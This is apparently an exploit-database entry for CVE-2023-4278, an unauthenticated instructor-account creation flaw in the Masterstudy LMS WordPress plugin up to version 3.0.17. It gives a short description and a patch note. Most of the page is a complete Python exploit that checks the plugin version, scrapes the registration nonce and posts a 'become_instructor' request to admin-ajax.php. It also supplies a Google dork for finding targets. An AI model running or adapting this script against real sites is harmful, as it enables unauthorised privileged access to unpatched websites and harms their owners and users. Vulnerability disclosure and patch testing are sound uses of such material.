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Masterstudy LMS
by:
Revan Arifio
6.1
CVSS
HIGH
Unauthenticated Instructor Account Creation
287
CWE
Product Name: Masterstudy LMS
Affected Version From: <= 3.0.17
Affected Version To:
Patch Exists: YES
Related CWE: CVE-2023-4278
CPE: a:wordpress:masterstudy_lms:3.0.17
Metasploit:
Platforms Tested: Windows, Linux
2023

WordPress Plugin Masterstudy LMS – 3.0.17 – Unauthenticated Instructor Account Creation

This exploit allows an attacker to create an instructor account on the Wordpress Plugin Masterstudy LMS version 3.0.17 or earlier without authentication. The vulnerability is caused by improper input validation, which allows an attacker to bypass the registration process and create an instructor account with arbitrary credentials.

Mitigation:

Update to the latest version of the Masterstudy LMS plugin (version 3.0.18 or later) which addresses this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title:  Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation
# Google Dork: inurl:/user-public-account
# Date: 2023-09-04
# Exploit Author: Revan Arifio
# Vendor Homepage: https:/.org/plugins/masterstudy-lms-learning-management-system/
# Version: <= 3.0.17
# Tested on: Windows, Linux
# CVE : CVE-2023-4278

import requests
import os
import re
import time

banner = """
   _______      ________    ___   ___ ___  ____        _  _ ___ ______ ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \|___ \      | || |__ \____  / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) | __) |_____| || |_ ) |  / / (_) |
 | |      \ \/ / |  __|______/ /| | | |/ / |__ <______|__   _/ /  / / > _ < 
 | |____   \  /  | |____    / /_| |_| / /_ ___) |        | |/ /_ / / | (_) |
  \_____|   \/   |______|  |____|\___/____|____/         |_|____/_/   \___/ 
                                                                            
======================================================================================================
|| Title            : Masterstudy LMS <= 3.0.17 - Unauthenticated Instructor Account Creation       ||
|| Author           : https://github.com/revan-ar                                                   ||
|| Vendor Homepage  : https:/wordpress.org/plugins/masterstudy-lms-learning-management-system/      ||
|| Support          : https://www.buymeacoffee.com/revan.ar                                         ||
======================================================================================================

"""


print(banner)

# get nonce
def get_nonce(target):
    open_target = requests.get("{}/user-public-account".format(target))
    search_nonce = re.search('"stm_lms_register":"(.*?)"', open_target.text)
    if search_nonce[1] != None:
        return search_nonce[1]
    else:
        print("Failed when getting Nonce :p")



# privielege escalation
def privesc(target, nonce, username, password, email):

    req_data = {
        "user_login":"{}".format(username),
        "user_email":"{}".format(email),
        "user_password":"{}".format(password),
        "user_password_re":"{}".format(password),
        "become_instructor":True,
        "privacy_policy":True,
        "degree":"",
        "expertize":"",
        "auditory":"",
        "additional":[],
        "additional_instructors":[],
        "profile_default_fields_for_register":[],
        "redirect_page":"{}/user-account/".format(target)
        }

    start = requests.post("{}/wp-admin/admin-ajax.php?action=stm_lms_register&nonce={}".format(target, nonce), json = req_data)

    if start.status_code == 200:
        print("[+] Exploit Success !!")
    else:
        print("[+] Exploit Failed :p")



# URL target
target = input("[+] URL Target: ")
print("[+] Starting Exploit")
plugin_check = requests.get("{}/wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt".format(target))
plugin_version = re.search("Stable tag: (.+)", plugin_check.text)
int_version = plugin_version[1].replace(".", "")
time.sleep(1)

if int(int_version) < 3018:
    print("[+] Target is Vulnerable !!")
    # Credential
    email =  input("[+] Email: ")
    username =  input("[+] Username: ")
    password =  input("[+] Password: ")
    time.sleep(1)
    print("[+] Getting Nonce...")
    get_nonce = get_nonce(target)
    # Get Nonce
    if get_nonce != None:
        print("[+] Success Getting Nonce: {}".format(get_nonce))
        time.sleep(1)
        # Start PrivEsc
        privesc(target, get_nonce, username, password, email)
    # ----------------------------------
    
else:
    print("[+] Target is NOT Vulnerable :p")